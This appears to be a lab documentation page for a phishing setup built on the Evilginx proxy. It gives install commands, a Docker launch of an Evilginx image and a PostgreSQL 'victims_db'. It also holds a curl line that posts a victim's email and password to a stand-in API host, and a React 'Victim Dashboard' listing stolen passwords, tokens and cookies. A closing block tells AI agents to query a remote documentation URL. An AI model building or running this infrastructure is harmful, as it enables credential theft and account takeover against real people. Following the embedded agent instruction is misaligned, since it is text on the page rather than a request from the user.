# Integration API

**System architecture EvilGinx: Used to intercept victims' data. It is configured for various services (for example, Gmail, Facebook, etc.) with the ability to easily add new goals.**

**Web Interface API**: A RESTful Python API is created using Flask, which processes requests and manages victim data.

**Database**: A relational database (for example, PostgreSQL) is used to store victim data and attack statistics.

**Web interface**: A modern interface is being created on React.js or Vue.js for visualization of collected data and analytics.

**Environment preparation:**

Make sure that you have all the necessary tools and dependencies installed:&#x20;

* Python (for API)&#x20;
* Node.js and npm (for the web interface)&#x20;
* PostgreSQL (or another database)&#x20;
* Docker (if you use it for Evilginx)

**Installing and configuring the database:**

Install PostgreSQL and create a database for your project. At the command prompt, run the following commands:

```
sudo apt-get update
sudo apt-get install postgresql postgresql-contrib

sudo service postgresql start

sudo -u postgres psql
CREATE DATABASE victims_db;
CREATE USER user WITH PASSWORD 'password';
GRANT ALL PRIVILEGES ON DATABASE victims_db TO user;
\q
```

**Configuring and launching the API:**

Create a virtual environment for your Python project and install the necessary libraries:

```
python -m venv venv source venv/bin/activate pip install Flask Flask-SQLAlchemy bcrypt
```

Save the API code (provided earlier) to a file, for example, app.py . Launch the API:

`python app.py`

Make sure that the API is working by opening a browser and going to <http://localhost:5000/api/victims> (should return an empty list).

**Configuring Evilginx:**

Install Evilginx if you haven't already. If you are using Docker, run:

`docker run -d -p 443:443 --name evilginx evi1grey5/evilginx3.9`

Configure Evilginx by following the documentation so that it can intercept data from target sites.

**Configuring and launching the web interface:**

Create a new React project:

`npx create-react-app victim-dashboard`&#x20;

`cd victim-dashboard`

Install the necessary libraries for working with the API and visualization (for example, Axis for queries and Chart.js for graphs):

```
npm install axios chart.js react-chartjs-2
```

Open a browser and navigate to <http://localhost:3000> to see your interface.

**Connecting components:**

Make sure that your API is configured to accept requests from the web interface. If they are on different ports, you may need to configure CORS in your API.:

`from flask_cors import CORS app = Flask(`**`name`**`) CORS(app)`

**Configuring EvilGinx to send data to the API Sending data about victims:**&#x20;

We use curl or the built-in EvilGinx functions to send victim data to the API after successful login.

`curl -X POST http://yourapi.com/api/victims -H "Content-Type: application/json" -d '{"email": "user@example.com", "password": "password123"}'`

**Creating a RESTful API Creating an API on Flask:**&#x20;

We are creating an API with several endpoints for managing victim data and statistics as well.

```
import React, { useEffect, useState } from 'react';

function VictimDashboard() {
    const [victims, setVictims] = useState([]);

    useEffect(() => {
        fetch('http://yourapi.com/api/victims')
            .then(response => response.json())
            .then(data => setVictims(data))
            .catch(error => console.error('Error:', error));
    }, []);

    return (
        <div>
            <h1>Victim Dashboard</h1>
            <table>
                <thead>
                    <tr>
                        <th>Email</th>
                        <th>Password</th>
                        <th>Token</th>
                        <th>Cookies</th>
                        <th>ip</th>
                        <th>User-Agent</th>
                        <th>Time</th>
                        <th>Time</th>
                    </tr>
                </thead>
                <tbody>
                    {victims.map(v

```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://rproxylab.gitbook.io/evilginx-lab-by-cfs0x/basics/openapi.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
